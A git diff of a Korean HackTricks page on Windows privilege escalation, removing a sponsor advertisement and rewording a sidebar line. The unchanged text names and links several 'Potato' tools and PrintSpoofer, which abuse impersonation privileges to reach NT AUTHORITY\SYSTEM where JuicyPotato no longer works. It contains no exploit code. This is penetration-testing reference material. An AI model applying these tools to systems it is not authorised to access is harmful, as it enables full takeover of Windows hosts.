**JuicyPotato는** Windows Server 2019 및 Windows 10 빌드 1809 이상에서 **작동하지 않습니다. 그러나** [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)**를 사용하여 **동일한 권한을 활용하고 `NT AUTHORITY\SYSTEM`** 수준의 액세스를 얻을 수 있습니다. 이 [블로그 게시물](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)은 JuicyPotato가 더 이상 작동하지 않는 Windows 10 및 Server 2019 호스트에서 가장기능을 남용하는 데 사용할 수 있는 `PrintSpoofer` 도구에 대해 자세히 설명합니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Quick Demo
|
## Quick Demo
|
||||||
|
@ -117,17 +103,6 @@ nt authority\system
|
||||||
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
|
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
|
||||||
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -139,7 +114,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
Loading…
Reference in a new issue